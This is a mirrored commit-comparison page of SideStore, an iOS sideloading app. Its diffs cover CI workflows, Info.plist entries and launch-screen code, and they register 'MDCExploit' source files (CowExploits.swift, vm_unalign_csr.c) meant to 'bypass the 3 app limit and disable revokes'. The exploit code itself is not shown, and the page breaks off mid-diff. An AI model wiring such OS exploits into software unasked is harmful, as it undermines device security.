mirror of
https://github.com/SideStore/SideStore.git
synced 2026-03-29 14:55:39 +02:00
Compare commits
26 Commits
feature/Da
...
feature/f1
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8029a34410 | ||
|
|
48e0b37b4d | ||
|
|
99cb43bbea | ||
|
|
ca7d8277f7 | ||
|
|
337d26333e | ||
|
|
ebb64d255b | ||
|
|
7dcb199f68 | ||
|
|
4334e887de | ||
|
|
4e84dc4cc8 | ||
|
|
1a1ed072bf | ||
|
|
ae457f07c4 | ||
|
|
00095942c3 | ||
|
|
d1caa5fc21 | ||
|
|
813e2f97ac | ||
|
|
bcb5a90f5e | ||
|
|
020a1a3149 | ||
|
|
c4d649ec58 | ||
|
|
c02cf2c284 | ||
|
|
c30afd042e | ||
|
|
2337043466 | ||
|
|
cc6b048b9c | ||
|
|
108f7a936d | ||
|
|
46945bc087 | ||
|
|
486b3d12bd | ||
|
|
0dc0ff8151 | ||
|
|
b2a1fdb6ee |
8
.github/workflows/beta.yml
vendored
8
.github/workflows/beta.yml
vendored
@@ -41,12 +41,18 @@ jobs:
|
|||||||
- name: Convert to IPA
|
- name: Convert to IPA
|
||||||
run: make ipa
|
run: make ipa
|
||||||
|
|
||||||
- name: Upload Artifact
|
- name: Upload SideStore.ipa Artifact
|
||||||
uses: actions/upload-artifact@v3.1.0
|
uses: actions/upload-artifact@v3.1.0
|
||||||
with:
|
with:
|
||||||
name: SideStore.ipa
|
name: SideStore.ipa
|
||||||
path: SideStore.ipa
|
path: SideStore.ipa
|
||||||
|
|
||||||
|
- name: Upload *.dSYM Artifact
|
||||||
|
uses: actions/upload-artifact@v3.1.0
|
||||||
|
with:
|
||||||
|
name: SideStore-dSYM
|
||||||
|
path: ./*.dSYM/
|
||||||
|
|
||||||
- name: Get version
|
- name: Get version
|
||||||
id: version
|
id: version
|
||||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||||
|
|||||||
13
.github/workflows/danger.yml
vendored
13
.github/workflows/danger.yml
vendored
@@ -1,13 +0,0 @@
|
|||||||
name: "Danger Swift"
|
|
||||||
on: [pull_request]
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
build:
|
|
||||||
name: Danger JS
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v1
|
|
||||||
- name: Danger Swift
|
|
||||||
uses: danger/swift@2.0.3
|
|
||||||
env:
|
|
||||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
|
||||||
8
.github/workflows/nightly.yml
vendored
8
.github/workflows/nightly.yml
vendored
@@ -50,12 +50,18 @@ jobs:
|
|||||||
- name: Convert to IPA
|
- name: Convert to IPA
|
||||||
run: make ipa
|
run: make ipa
|
||||||
|
|
||||||
- name: Upload Artifact
|
- name: Upload SideStore.ipa Artifact
|
||||||
uses: actions/upload-artifact@v3.1.0
|
uses: actions/upload-artifact@v3.1.0
|
||||||
with:
|
with:
|
||||||
name: SideStore.ipa
|
name: SideStore.ipa
|
||||||
path: SideStore.ipa
|
path: SideStore.ipa
|
||||||
|
|
||||||
|
- name: Upload *.dSYM Artifact
|
||||||
|
uses: actions/upload-artifact@v3.1.0
|
||||||
|
with:
|
||||||
|
name: SideStore-dSYM
|
||||||
|
path: ./*.dSYM/
|
||||||
|
|
||||||
- name: Get version
|
- name: Get version
|
||||||
id: version
|
id: version
|
||||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||||
|
|||||||
10
.github/workflows/pr.yml
vendored
10
.github/workflows/pr.yml
vendored
@@ -23,7 +23,7 @@ jobs:
|
|||||||
run: brew install ldid
|
run: brew install ldid
|
||||||
|
|
||||||
- name: Add PR suffix to version
|
- name: Add PR suffix to version
|
||||||
run: sed -e '/MARKETING_VERSION = .*/s/$/-pr.${{ github.event.pull_request.number }}/' -i '' Build.xcconfig
|
run: sed -e "/MARKETING_VERSION = .*/s/\$/-pr.${{ github.event.pull_request.number }}+$(git rev-parse --short HEAD)/" -i '' Build.xcconfig
|
||||||
|
|
||||||
- name: Setup Xcode
|
- name: Setup Xcode
|
||||||
uses: maxim-lobanov/setup-xcode@v1.4.1
|
uses: maxim-lobanov/setup-xcode@v1.4.1
|
||||||
@@ -39,8 +39,14 @@ jobs:
|
|||||||
- name: Convert to IPA
|
- name: Convert to IPA
|
||||||
run: make ipa
|
run: make ipa
|
||||||
|
|
||||||
- name: Upload Artifact
|
- name: Upload SideStore.ipa Artifact
|
||||||
uses: actions/upload-artifact@v3.1.0
|
uses: actions/upload-artifact@v3.1.0
|
||||||
with:
|
with:
|
||||||
name: SideStore.ipa
|
name: SideStore.ipa
|
||||||
path: SideStore.ipa
|
path: SideStore.ipa
|
||||||
|
|
||||||
|
- name: Upload *.dSYM Artifact
|
||||||
|
uses: actions/upload-artifact@v3.1.0
|
||||||
|
with:
|
||||||
|
name: SideStore-dSYM
|
||||||
|
path: ./*.dSYM/
|
||||||
|
|||||||
8
.github/workflows/stable.yml
vendored
8
.github/workflows/stable.yml
vendored
@@ -41,12 +41,18 @@ jobs:
|
|||||||
- name: Convert to IPA
|
- name: Convert to IPA
|
||||||
run: make ipa
|
run: make ipa
|
||||||
|
|
||||||
- name: Upload Artifact
|
- name: Upload SideStore.ipa Artifact
|
||||||
uses: actions/upload-artifact@v3.1.0
|
uses: actions/upload-artifact@v3.1.0
|
||||||
with:
|
with:
|
||||||
name: SideStore.ipa
|
name: SideStore.ipa
|
||||||
path: SideStore.ipa
|
path: SideStore.ipa
|
||||||
|
|
||||||
|
- name: Upload *.dSYM Artifact
|
||||||
|
uses: actions/upload-artifact@v3.1.0
|
||||||
|
with:
|
||||||
|
name: SideStore-dSYM
|
||||||
|
path: ./*.dSYM/
|
||||||
|
|
||||||
- name: Get version
|
- name: Get version
|
||||||
id: version
|
id: version
|
||||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||||
|
|||||||
4
.gitignore
vendored
4
.gitignore
vendored
@@ -35,10 +35,10 @@ xcuserdata
|
|||||||
## AppCode specific
|
## AppCode specific
|
||||||
.idea/
|
.idea/
|
||||||
|
|
||||||
.build
|
|
||||||
|
|
||||||
Payload/
|
Payload/
|
||||||
SideStore.ipa
|
SideStore.ipa
|
||||||
|
*.dSYM
|
||||||
|
|
||||||
Dependencies/.*-prebuilt-fetch-*
|
Dependencies/.*-prebuilt-fetch-*
|
||||||
Dependencies/minimuxer/*
|
Dependencies/minimuxer/*
|
||||||
Dependencies/em_proxy/*
|
Dependencies/em_proxy/*
|
||||||
|
|||||||
@@ -1,3 +1,3 @@
|
|||||||
#include "Build.xcconfig"
|
#include "Build.xcconfig"
|
||||||
|
|
||||||
PRODUCT_BUNDLE_IDENTIFIER = $(ORG_PREFIX).$(PRODUCT_NAME)
|
PRODUCT_BUNDLE_IDENTIFIER = $(PRODUCT_BUNDLE_IDENTIFIER)
|
||||||
|
|||||||
@@ -21,6 +21,10 @@
|
|||||||
19B9B7452845E6DF0076EF69 /* SelectTeamViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 19B9B7442845E6DF0076EF69 /* SelectTeamViewController.swift */; };
|
19B9B7452845E6DF0076EF69 /* SelectTeamViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 19B9B7442845E6DF0076EF69 /* SelectTeamViewController.swift */; };
|
||||||
4879A95F2861046500FC1BBD /* AltSign in Frameworks */ = {isa = PBXBuildFile; productRef = 4879A95E2861046500FC1BBD /* AltSign */; };
|
4879A95F2861046500FC1BBD /* AltSign in Frameworks */ = {isa = PBXBuildFile; productRef = 4879A95E2861046500FC1BBD /* AltSign */; };
|
||||||
4879A9622861049C00FC1BBD /* OpenSSL in Frameworks */ = {isa = PBXBuildFile; productRef = 4879A9612861049C00FC1BBD /* OpenSSL */; };
|
4879A9622861049C00FC1BBD /* OpenSSL in Frameworks */ = {isa = PBXBuildFile; productRef = 4879A9612861049C00FC1BBD /* OpenSSL */; };
|
||||||
|
7DBDF4BC2991727500C18375 /* grant_fda.m in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4B72991727200C18375 /* grant_fda.m */; };
|
||||||
|
7DBDF4BD2991727500C18375 /* helping_tools.m in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4B82991727200C18375 /* helping_tools.m */; };
|
||||||
|
7DBDF4BE2991727500C18375 /* vm_unalign_csr.c in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4B92991727300C18375 /* vm_unalign_csr.c */; };
|
||||||
|
7DBDF4C0299172A000C18375 /* CowExploits.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4BF299172A000C18375 /* CowExploits.swift */; };
|
||||||
99C4EF4D2979132100CB538D /* SemanticVersion in Frameworks */ = {isa = PBXBuildFile; productRef = 99C4EF4C2979132100CB538D /* SemanticVersion */; };
|
99C4EF4D2979132100CB538D /* SemanticVersion in Frameworks */ = {isa = PBXBuildFile; productRef = 99C4EF4C2979132100CB538D /* SemanticVersion */; };
|
||||||
B3146ED2284F581E00BBC3FD /* Roxas.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = B3146ECD284F580500BBC3FD /* Roxas.framework */; };
|
B3146ED2284F581E00BBC3FD /* Roxas.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = B3146ECD284F580500BBC3FD /* Roxas.framework */; };
|
||||||
B3146ED3284F581E00BBC3FD /* Roxas.framework in Embed Frameworks */ = {isa = PBXBuildFile; fileRef = B3146ECD284F580500BBC3FD /* Roxas.framework */; settings = {ATTRIBUTES = (CodeSignOnCopy, RemoveHeadersOnCopy, ); }; };
|
B3146ED3284F581E00BBC3FD /* Roxas.framework in Embed Frameworks */ = {isa = PBXBuildFile; fileRef = B3146ECD284F580500BBC3FD /* Roxas.framework */; settings = {ATTRIBUTES = (CodeSignOnCopy, RemoveHeadersOnCopy, ); }; };
|
||||||
@@ -511,6 +515,13 @@
|
|||||||
191E5FD1290A651D001A3B7C /* jsmn.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; name = jsmn.h; path = Dependencies/libplist/src/jsmn.h; sourceTree = SOURCE_ROOT; };
|
191E5FD1290A651D001A3B7C /* jsmn.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; name = jsmn.h; path = Dependencies/libplist/src/jsmn.h; sourceTree = SOURCE_ROOT; };
|
||||||
1920B04E2924AC8300744F60 /* Settings.bundle */ = {isa = PBXFileReference; lastKnownFileType = "wrapper.plug-in"; path = Settings.bundle; sourceTree = "<group>"; };
|
1920B04E2924AC8300744F60 /* Settings.bundle */ = {isa = PBXFileReference; lastKnownFileType = "wrapper.plug-in"; path = Settings.bundle; sourceTree = "<group>"; };
|
||||||
19B9B7442845E6DF0076EF69 /* SelectTeamViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SelectTeamViewController.swift; sourceTree = "<group>"; };
|
19B9B7442845E6DF0076EF69 /* SelectTeamViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SelectTeamViewController.swift; sourceTree = "<group>"; };
|
||||||
|
7DBDF4B62991727000C18375 /* helping_tools.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = helping_tools.h; sourceTree = "<group>"; };
|
||||||
|
7DBDF4B72991727200C18375 /* grant_fda.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = grant_fda.m; sourceTree = "<group>"; };
|
||||||
|
7DBDF4B82991727200C18375 /* helping_tools.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = helping_tools.m; sourceTree = "<group>"; };
|
||||||
|
7DBDF4B92991727300C18375 /* vm_unalign_csr.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = vm_unalign_csr.c; sourceTree = "<group>"; };
|
||||||
|
7DBDF4BA2991727400C18375 /* grant_fda.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = grant_fda.h; sourceTree = "<group>"; };
|
||||||
|
7DBDF4BB2991727500C18375 /* vm_unalign_csr.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = vm_unalign_csr.h; sourceTree = "<group>"; };
|
||||||
|
7DBDF4BF299172A000C18375 /* CowExploits.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CowExploits.swift; sourceTree = "<group>"; };
|
||||||
B3146EC6284F580500BBC3FD /* Roxas.xcodeproj */ = {isa = PBXFileReference; lastKnownFileType = "wrapper.pb-project"; name = Roxas.xcodeproj; path = Dependencies/Roxas/Roxas.xcodeproj; sourceTree = "<group>"; };
|
B3146EC6284F580500BBC3FD /* Roxas.xcodeproj */ = {isa = PBXFileReference; lastKnownFileType = "wrapper.pb-project"; name = Roxas.xcodeproj; path = Dependencies/Roxas/Roxas.xcodeproj; sourceTree = "<group>"; };
|
||||||
B33FFBA9295F8F78002259E6 /* preboard.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = preboard.c; path = src/preboard.c; sourceTree = "<group>"; };
|
B33FFBA9295F8F78002259E6 /* preboard.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = preboard.c; path = src/preboard.c; sourceTree = "<group>"; };
|
||||||
B33FFBAB295F8F98002259E6 /* companion_proxy.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = companion_proxy.c; path = src/companion_proxy.c; sourceTree = "<group>"; };
|
B33FFBAB295F8F98002259E6 /* companion_proxy.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = companion_proxy.c; path = src/companion_proxy.c; sourceTree = "<group>"; };
|
||||||
@@ -968,6 +979,20 @@
|
|||||||
path = "libimobiledevice-glue/src";
|
path = "libimobiledevice-glue/src";
|
||||||
sourceTree = "<group>";
|
sourceTree = "<group>";
|
||||||
};
|
};
|
||||||
|
7DBDF49C2991720500C18375 /* MDCExploit */ = {
|
||||||
|
isa = PBXGroup;
|
||||||
|
children = (
|
||||||
|
7DBDF4BA2991727400C18375 /* grant_fda.h */,
|
||||||
|
7DBDF4B72991727200C18375 /* grant_fda.m */,
|
||||||
|
7DBDF4B62991727000C18375 /* helping_tools.h */,
|
||||||
|
7DBDF4B82991727200C18375 /* helping_tools.m */,
|
||||||
|
7DBDF4B92991727300C18375 /* vm_unalign_csr.c */,
|
||||||
|
7DBDF4BB2991727500C18375 /* vm_unalign_csr.h */,
|
||||||
|
7DBDF4BF299172A000C18375 /* CowExploits.swift */,
|
||||||
|
);
|
||||||
|
path = MDCExploit;
|
||||||
|
sourceTree = "<group>";
|
||||||
|
};
|
||||||
B3146EC7284F580500BBC3FD /* Products */ = {
|
B3146EC7284F580500BBC3FD /* Products */ = {
|
||||||
isa = PBXGroup;
|
isa = PBXGroup;
|
||||||
children = (
|
children = (
|
||||||
@@ -1386,6 +1411,7 @@
|
|||||||
BF6C8FA8242935CA00125131 /* Dependencies */ = {
|
BF6C8FA8242935CA00125131 /* Dependencies */ = {
|
||||||
isa = PBXGroup;
|
isa = PBXGroup;
|
||||||
children = (
|
children = (
|
||||||
|
7DBDF49C2991720500C18375 /* MDCExploit */,
|
||||||
BF6C8FA9242935DB00125131 /* MarkdownAttributedString */,
|
BF6C8FA9242935DB00125131 /* MarkdownAttributedString */,
|
||||||
);
|
);
|
||||||
name = Dependencies;
|
name = Dependencies;
|
||||||
@@ -2438,7 +2464,9 @@
|
|||||||
BFC1F38D22AEE3A4003AC21A /* DownloadAppOperation.swift in Sources */,
|
BFC1F38D22AEE3A4003AC21A /* DownloadAppOperation.swift in Sources */,
|
||||||
BFE6073A231ADF82002B0E8E /* SettingsViewController.swift in Sources */,
|
BFE6073A231ADF82002B0E8E /* SettingsViewController.swift in Sources */,
|
||||||
D57F2C9126E0070200B9FA39 /* EnableJITOperation.swift in Sources */,
|
D57F2C9126E0070200B9FA39 /* EnableJITOperation.swift in Sources */,
|
||||||
|
7DBDF4BD2991727500C18375 /* helping_tools.m in Sources */,
|
||||||
BF8CAE4E248AEABA004D6CCE /* UIDevice+Jailbreak.swift in Sources */,
|
BF8CAE4E248AEABA004D6CCE /* UIDevice+Jailbreak.swift in Sources */,
|
||||||
|
7DBDF4BE2991727500C18375 /* vm_unalign_csr.c in Sources */,
|
||||||
D5E1E7C128077DE90016FC96 /* FetchTrustedSourcesOperation.swift in Sources */,
|
D5E1E7C128077DE90016FC96 /* FetchTrustedSourcesOperation.swift in Sources */,
|
||||||
BFE338DF22F0EADB002E24B9 /* FetchSourceOperation.swift in Sources */,
|
BFE338DF22F0EADB002E24B9 /* FetchSourceOperation.swift in Sources */,
|
||||||
D54DED1428CBC44B008B27A0 /* ErrorLogTableViewCell.swift in Sources */,
|
D54DED1428CBC44B008B27A0 /* ErrorLogTableViewCell.swift in Sources */,
|
||||||
@@ -2484,7 +2512,9 @@
|
|||||||
BFB39B5C252BC10E00D1BE50 /* Managed.swift in Sources */,
|
BFB39B5C252BC10E00D1BE50 /* Managed.swift in Sources */,
|
||||||
BF770E5822BC3D0F002A40FE /* RefreshGroup.swift in Sources */,
|
BF770E5822BC3D0F002A40FE /* RefreshGroup.swift in Sources */,
|
||||||
19B9B7452845E6DF0076EF69 /* SelectTeamViewController.swift in Sources */,
|
19B9B7452845E6DF0076EF69 /* SelectTeamViewController.swift in Sources */,
|
||||||
|
7DBDF4BC2991727500C18375 /* grant_fda.m in Sources */,
|
||||||
BF18B0F122E25DF9005C4CF5 /* ToastView.swift in Sources */,
|
BF18B0F122E25DF9005C4CF5 /* ToastView.swift in Sources */,
|
||||||
|
7DBDF4C0299172A000C18375 /* CowExploits.swift in Sources */,
|
||||||
BF3D649F22E7B24C00E9056B /* CollapsingTextView.swift in Sources */,
|
BF3D649F22E7B24C00E9056B /* CollapsingTextView.swift in Sources */,
|
||||||
BF02419622F2199300129732 /* RefreshAttemptsViewController.swift in Sources */,
|
BF02419622F2199300129732 /* RefreshAttemptsViewController.swift in Sources */,
|
||||||
B376FE3E29258C8900E18883 /* OSLog+SideStore.swift in Sources */,
|
B376FE3E29258C8900E18883 /* OSLog+SideStore.swift in Sources */,
|
||||||
@@ -2995,7 +3025,7 @@
|
|||||||
CODE_SIGN_IDENTITY = "iPhone Developer";
|
CODE_SIGN_IDENTITY = "iPhone Developer";
|
||||||
CODE_SIGN_STYLE = Automatic;
|
CODE_SIGN_STYLE = Automatic;
|
||||||
DEBUG_INFORMATION_FORMAT = dwarf;
|
DEBUG_INFORMATION_FORMAT = dwarf;
|
||||||
DEVELOPMENT_TEAM = "$(DEVELOPMENT_TEAM)";
|
DEVELOPMENT_TEAM = "";
|
||||||
FRAMEWORK_SEARCH_PATHS = "$(inherited)";
|
FRAMEWORK_SEARCH_PATHS = "$(inherited)";
|
||||||
INFOPLIST_FILE = AltWidget/Info.plist;
|
INFOPLIST_FILE = AltWidget/Info.plist;
|
||||||
IPHONEOS_DEPLOYMENT_TARGET = 14.0;
|
IPHONEOS_DEPLOYMENT_TARGET = 14.0;
|
||||||
@@ -3025,7 +3055,7 @@
|
|||||||
CODE_SIGN_ENTITLEMENTS = AltWidget/AltWidgetExtension.entitlements;
|
CODE_SIGN_ENTITLEMENTS = AltWidget/AltWidgetExtension.entitlements;
|
||||||
CODE_SIGN_IDENTITY = "iPhone Developer";
|
CODE_SIGN_IDENTITY = "iPhone Developer";
|
||||||
CODE_SIGN_STYLE = Automatic;
|
CODE_SIGN_STYLE = Automatic;
|
||||||
DEVELOPMENT_TEAM = "$(DEVELOPMENT_TEAM)";
|
DEVELOPMENT_TEAM = "";
|
||||||
FRAMEWORK_SEARCH_PATHS = "$(inherited)";
|
FRAMEWORK_SEARCH_PATHS = "$(inherited)";
|
||||||
INFOPLIST_FILE = AltWidget/Info.plist;
|
INFOPLIST_FILE = AltWidget/Info.plist;
|
||||||
IPHONEOS_DEPLOYMENT_TARGET = 14.0;
|
IPHONEOS_DEPLOYMENT_TARGET = 14.0;
|
||||||
|
|||||||
@@ -5,4 +5,8 @@
|
|||||||
#import "NSAttributedString+Markdown.h"
|
#import "NSAttributedString+Markdown.h"
|
||||||
#import "ALTAppPatcher.h"
|
#import "ALTAppPatcher.h"
|
||||||
|
|
||||||
|
#import "grant_fda.h"
|
||||||
|
#import "vm_unalign_csr.h"
|
||||||
|
#import "helping_tools.h"
|
||||||
|
|
||||||
#include "fragmentzip.h"
|
#include "fragmentzip.h"
|
||||||
|
|||||||
@@ -9,12 +9,12 @@
|
|||||||
</array>
|
</array>
|
||||||
<key>ALTDeviceID</key>
|
<key>ALTDeviceID</key>
|
||||||
<string>00008101-000129D63698001E</string>
|
<string>00008101-000129D63698001E</string>
|
||||||
<key>ALTServerID</key>
|
|
||||||
<string>1F7D5B55-79CE-4546-A029-D4DDC4AF3B6D</string>
|
|
||||||
<key>ALTPairingFile</key>
|
<key>ALTPairingFile</key>
|
||||||
<string><insert pairing file here></string>
|
<string><insert pairing file here></string>
|
||||||
|
<key>ALTServerID</key>
|
||||||
|
<string>1F7D5B55-79CE-4546-A029-D4DDC4AF3B6D</string>
|
||||||
<key>ALTAnisetteURL</key>
|
<key>ALTAnisetteURL</key>
|
||||||
<string>https://sideloadly.io/anisette/irGb3Quww8zrhgqnzmrx</string>
|
<string>https://ani.sidestore.io</string>
|
||||||
<key>CFBundleDevelopmentRegion</key>
|
<key>CFBundleDevelopmentRegion</key>
|
||||||
<string>$(DEVELOPMENT_LANGUAGE)</string>
|
<string>$(DEVELOPMENT_LANGUAGE)</string>
|
||||||
<key>CFBundleDocumentTypes</key>
|
<key>CFBundleDocumentTypes</key>
|
||||||
@@ -44,8 +44,6 @@
|
|||||||
<string>$(PRODUCT_NAME)</string>
|
<string>$(PRODUCT_NAME)</string>
|
||||||
<key>CFBundlePackageType</key>
|
<key>CFBundlePackageType</key>
|
||||||
<string>APPL</string>
|
<string>APPL</string>
|
||||||
<key>LSSupportsOpeningDocumentsInPlace</key>
|
|
||||||
<true/>
|
|
||||||
<key>CFBundleShortVersionString</key>
|
<key>CFBundleShortVersionString</key>
|
||||||
<string>$(MARKETING_VERSION)</string>
|
<string>$(MARKETING_VERSION)</string>
|
||||||
<key>CFBundleURLTypes</key>
|
<key>CFBundleURLTypes</key>
|
||||||
@@ -93,6 +91,15 @@
|
|||||||
</array>
|
</array>
|
||||||
<key>LSRequiresIPhoneOS</key>
|
<key>LSRequiresIPhoneOS</key>
|
||||||
<true />
|
<true />
|
||||||
|
<key>LSSupportsOpeningDocumentsInPlace</key>
|
||||||
|
<true />
|
||||||
|
<key>NSAppTransportSecurity</key>
|
||||||
|
<dict>
|
||||||
|
<key>NSAllowsArbitraryLoads</key>
|
||||||
|
<true />
|
||||||
|
</dict>
|
||||||
|
<key>NSAppleMusicUsageDescription</key>
|
||||||
|
<string>So that we can bypass the 3 app limit and disable revokes.</string>
|
||||||
<key>NSBonjourServices</key>
|
<key>NSBonjourServices</key>
|
||||||
<array>
|
<array>
|
||||||
<string>_altserver._tcp</string>
|
<string>_altserver._tcp</string>
|
||||||
@@ -131,13 +138,10 @@
|
|||||||
<string>fetch</string>
|
<string>fetch</string>
|
||||||
<string>remote-notification</string>
|
<string>remote-notification</string>
|
||||||
</array>
|
</array>
|
||||||
|
<key>UIFileSharingEnabled</key>
|
||||||
|
<true />
|
||||||
<key>UILaunchStoryboardName</key>
|
<key>UILaunchStoryboardName</key>
|
||||||
<string>LaunchScreen</string>
|
<string>LaunchScreen</string>
|
||||||
<key>NSAppTransportSecurity</key>
|
|
||||||
<dict>
|
|
||||||
<key>NSAllowsArbitraryLoads</key>
|
|
||||||
<true/>
|
|
||||||
</dict>
|
|
||||||
<key>UIMainStoryboardFile</key>
|
<key>UIMainStoryboardFile</key>
|
||||||
<string>Main</string>
|
<string>Main</string>
|
||||||
<key>UIRequiredDeviceCapabilities</key>
|
<key>UIRequiredDeviceCapabilities</key>
|
||||||
@@ -204,7 +208,5 @@
|
|||||||
</dict>
|
</dict>
|
||||||
</dict>
|
</dict>
|
||||||
</array>
|
</array>
|
||||||
<key>UIFileSharingEnabled</key>
|
|
||||||
<true/>
|
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
@@ -6,22 +6,21 @@
|
|||||||
// Copyright © 2019 Riley Testut. All rights reserved.
|
// Copyright © 2019 Riley Testut. All rights reserved.
|
||||||
//
|
//
|
||||||
|
|
||||||
import UIKit
|
|
||||||
import Roxas
|
|
||||||
import EmotionalDamage
|
import EmotionalDamage
|
||||||
import minimuxer
|
import minimuxer
|
||||||
|
import Roxas
|
||||||
|
import UIKit
|
||||||
|
|
||||||
import AltStoreCore
|
import AltStoreCore
|
||||||
import UniformTypeIdentifiers
|
import UniformTypeIdentifiers
|
||||||
|
|
||||||
final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate
|
final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate {
|
||||||
{
|
|
||||||
private var didFinishLaunching = false
|
private var didFinishLaunching = false
|
||||||
|
|
||||||
private var destinationViewController: UIViewController!
|
private var destinationViewController: UIViewController!
|
||||||
|
|
||||||
override var launchConditions: [RSTLaunchCondition] {
|
override var launchConditions: [RSTLaunchCondition] {
|
||||||
let isDatabaseStarted = RSTLaunchCondition(condition: { DatabaseManager.shared.isStarted }) { (completionHandler) in
|
let isDatabaseStarted = RSTLaunchCondition(condition: { DatabaseManager.shared.isStarted }) { completionHandler in
|
||||||
DatabaseManager.shared.start(completionHandler: completionHandler)
|
DatabaseManager.shared.start(completionHandler: completionHandler)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -36,8 +35,7 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
|||||||
return self.children.first
|
return self.children.first
|
||||||
}
|
}
|
||||||
|
|
||||||
override func viewDidLoad()
|
override func viewDidLoad() {
|
||||||
{
|
|
||||||
defer {
|
defer {
|
||||||
// Create destinationViewController now so view controllers can register for receiving Notifications.
|
// Create destinationViewController now so view controllers can register for receiving Notifications.
|
||||||
self.destinationViewController = self.storyboard!.instantiateViewController(withIdentifier: "tabBarController") as! TabBarController
|
self.destinationViewController = self.storyboard!.instantiateViewController(withIdentifier: "tabBarController") as! TabBarController
|
||||||
@@ -51,10 +49,11 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
|||||||
start_em_proxy(bind_addr: Consts.Proxy.serverURL)
|
start_em_proxy(bind_addr: Consts.Proxy.serverURL)
|
||||||
|
|
||||||
guard let pf = fetchPairingFile() else {
|
guard let pf = fetchPairingFile() else {
|
||||||
displayError("Device pairing file not found.")
|
self.displayError("Device pairing file not found.")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
start_minimuxer_threads(pf)
|
|
||||||
|
self.start_minimuxer_threads(pf)
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -70,7 +69,8 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
|||||||
fm.fileExists(atPath: appResourcePath.path),
|
fm.fileExists(atPath: appResourcePath.path),
|
||||||
let data = fm.contents(atPath: appResourcePath.path),
|
let data = fm.contents(atPath: appResourcePath.path),
|
||||||
let contents = String(data: data, encoding: .utf8),
|
let contents = String(data: data, encoding: .utf8),
|
||||||
!contents.isEmpty {
|
!contents.isEmpty
|
||||||
|
{
|
||||||
print("Loaded ALTPairingFile from \(appResourcePath.path)")
|
print("Loaded ALTPairingFile from \(appResourcePath.path)")
|
||||||
return contents
|
return contents
|
||||||
} else if let plistString = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String, !plistString.isEmpty, !plistString.contains("insert pairing file here") {
|
} else if let plistString = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String, !plistString.isEmpty, !plistString.contains("insert pairing file here") {
|
||||||
@@ -82,13 +82,13 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
|||||||
let dialogMessage = UIAlertController(title: "Pairing File", message: "Select the pairing file for your device. For more information, go to https://wiki.sidestore.io/guides/install#pairing-process", preferredStyle: .alert)
|
let dialogMessage = UIAlertController(title: "Pairing File", message: "Select the pairing file for your device. For more information, go to https://wiki.sidestore.io/guides/install#pairing-process", preferredStyle: .alert)
|
||||||
|
|
||||||
// Create OK button with action handler
|
// Create OK button with action handler
|
||||||
let ok = UIAlertAction(title: "OK", style: .default, handler: { (action) -> Void in
|
let ok = UIAlertAction(title: "OK", style: .default, handler: { _ in
|
||||||
// Try to load it from a file picker
|
// Try to load it from a file picker
|
||||||
var types = UTType.types(tag: "plist", tagClass: UTTagClass.filenameExtension, conformingTo: nil)
|
var types = UTType.types(tag: "plist", tagClass: UTTagClass.filenameExtension, conformingTo: nil)
|
||||||
types.append(contentsOf: UTType.types(tag: "mobiledevicepairing", tagClass: UTTagClass.filenameExtension, conformingTo: UTType.data))
|
